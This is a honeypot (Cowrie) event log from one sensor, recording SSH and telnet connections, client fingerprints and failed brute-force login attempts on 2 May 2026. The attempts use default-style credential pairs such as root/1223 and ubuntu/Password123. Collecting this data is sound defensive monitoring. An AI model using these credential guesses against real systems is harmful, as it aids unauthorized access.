{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:13.481493Z","src_ip":"150.95.157.171","session":"a148051c49d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gadmin","password":"123","message":"login attempt [gadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:14.141282Z","src_ip":"150.95.157.171","session":"a148051c49d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:15.315496Z","src_ip":"150.95.157.171","session":"a148051c49d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.70221424102783,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:22.121964Z","src_ip":"134.209.8.29","session":"2a95b9d497da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54700,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c4c8c0b27ae","protocol":"telnet","message":"New connection: 134.209.8.29:54700 (159.203.135.109:23) [session: 8c4c8c0b27ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:23.461334Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54712,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d2a222b21c6","protocol":"telnet","message":"New connection: 134.209.8.29:54712 (159.203.135.109:23) [session: 5d2a222b21c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:23.471117Z"}
{"eventid":"cowrie.session.closed","duration":48.68904757499695,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:23.653798Z","src_ip":"134.209.8.29","session":"7e05877cf802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":35508,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7c1d92a89b0","protocol":"ssh","message":"New connection: 148.216.28.11:35508 (10.17.0.5:22) [session: d7c1d92a89b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:24.139651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:24.143428Z","src_ip":"148.216.28.11","session":"d7c1d92a89b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:24.212567Z","src_ip":"148.216.28.11","session":"d7c1d92a89b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password123","message":"login attempt [ubuntu/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:24.516758Z","src_ip":"148.216.28.11","session":"d7c1d92a89b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.1553771495819092,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:24.616624Z","src_ip":"134.209.8.29","session":"8c4c8c0b27ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:25.588580Z","src_ip":"148.216.28.11","session":"d7c1d92a89b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":56036,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cb6630f4dcd","protocol":"ssh","message":"New connection: 34.135.200.178:56036 (10.17.0.5:22) [session: 8cb6630f4dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:32.025416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:32.030048Z","src_ip":"34.135.200.178","session":"8cb6630f4dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:32.064959Z","src_ip":"34.135.200.178","session":"8cb6630f4dcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gadmin","password":"123","message":"login attempt [gadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:32.238305Z","src_ip":"34.135.200.178","session":"8cb6630f4dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:33.275892Z","src_ip":"34.135.200.178","session":"8cb6630f4dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.24633240699768,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:37.717357Z","src_ip":"134.209.8.29","session":"5d2a222b21c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.878995418548584,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:38.739979Z","src_ip":"134.209.8.29","session":"d06bb8ea9b8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.70919847488403,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:39.466085Z","src_ip":"134.209.8.29","session":"24c3fccd6a9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59720,"dst_ip":"159.203.135.109","dst_port":23,"session":"35cbce608c8c","protocol":"telnet","message":"New connection: 134.209.8.29:59720 (159.203.135.109:23) [session: 35cbce608c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:39.747658Z"}
{"eventid":"cowrie.session.closed","duration":3.4422616958618164,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:43.189826Z","src_ip":"134.209.8.29","session":"35cbce608c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.83045434951782,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:43.281750Z","src_ip":"134.209.8.29","session":"f365343de683","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.78904604911804,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:43.793576Z","src_ip":"134.209.8.29","session":"d4fbf8d0d07e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":52454,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e077abf7ff","protocol":"ssh","message":"New connection: 147.50.231.135:52454 (10.17.0.5:22) [session: 37e077abf7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:44.989037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:44.993928Z","src_ip":"147.50.231.135","session":"37e077abf7ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:45.254947Z","src_ip":"147.50.231.135","session":"37e077abf7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test@123","message":"login attempt [ubuntu/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:46.329432Z","src_ip":"147.50.231.135","session":"37e077abf7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:47.601919Z","src_ip":"147.50.231.135","session":"37e077abf7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44240,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a13270ab7f","protocol":"telnet","message":"New connection: 134.209.8.29:44240 (159.203.135.109:23) [session: e6a13270ab7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:47.612752Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44254,"dst_ip":"159.203.135.109","dst_port":23,"session":"beb01af83610","protocol":"telnet","message":"New connection: 134.209.8.29:44254 (159.203.135.109:23) [session: beb01af83610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:48.875051Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"7efb273af936","protocol":"telnet","message":"New connection: 134.209.8.29:44250 (159.203.135.109:23) [session: 7efb273af936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:49.891608Z"}
{"eventid":"cowrie.session.closed","duration":45.81957459449768,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:50.908540Z","src_ip":"134.209.8.29","session":"e94d0ef020c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.057518720626831,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:53.670164Z","src_ip":"134.209.8.29","session":"e6a13270ab7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.6364171504974365,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:54.527873Z","src_ip":"134.209.8.29","session":"7efb273af936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.380792140960693,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:56.255735Z","src_ip":"134.209.8.29","session":"beb01af83610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.52739763259888,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:56.822284Z","src_ip":"134.209.8.29","session":"3d33347e2f45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3c897d9eb73","protocol":"telnet","message":"New connection: 134.209.8.29:57196 (159.203.135.109:23) [session: b3c897d9eb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:57.031179Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57202,"dst_ip":"159.203.135.109","dst_port":23,"session":"e28d535e1f4c","protocol":"telnet","message":"New connection: 134.209.8.29:57202 (159.203.135.109:23) [session: e28d535e1f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:57.059452Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57218,"dst_ip":"159.203.135.109","dst_port":23,"session":"37d6031c9710","protocol":"telnet","message":"New connection: 134.209.8.29:57218 (159.203.135.109:23) [session: 37d6031c9710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:58.907946Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":36252,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1dc57a9d17","protocol":"ssh","message":"New connection: 165.22.63.98:36252 (159.203.135.109:22) [session: 1d1dc57a9d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:59.277149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:59.281708Z","src_ip":"165.22.63.98","session":"1d1dc57a9d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:59.517810Z","src_ip":"165.22.63.98","session":"1d1dc57a9d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57228,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7d4b9815572","protocol":"telnet","message":"New connection: 134.209.8.29:57228 (159.203.135.109:23) [session: b7d4b9815572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:00.108990Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1223","message":"login attempt [root/1223] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:00.505933Z","src_ip":"165.22.63.98","session":"1d1dc57a9d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":45476,"dst_ip":"159.203.135.109","dst_port":22,"session":"840bb4fc6f7a","protocol":"ssh","message":"New connection: 187.141.71.166:45476 (159.203.135.109:22) [session: 840bb4fc6f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:01.306950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:01.313668Z","src_ip":"187.141.71.166","session":"840bb4fc6f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:01.437400Z","src_ip":"187.141.71.166","session":"840bb4fc6f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:01.749587Z","src_ip":"165.22.63.98","session":"1d1dc57a9d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"smbuser123","message":"login attempt [smbuser/smbuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:01.957778Z","src_ip":"187.141.71.166","session":"840bb4fc6f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42156,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6a1ea6e4343","protocol":"telnet","message":"New connection: 134.209.8.29:42156 (159.203.135.109:23) [session: b6a1ea6e4343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:02.315249Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:03.081650Z","src_ip":"187.141.71.166","session":"840bb4fc6f7a","protocol":"ssh"}
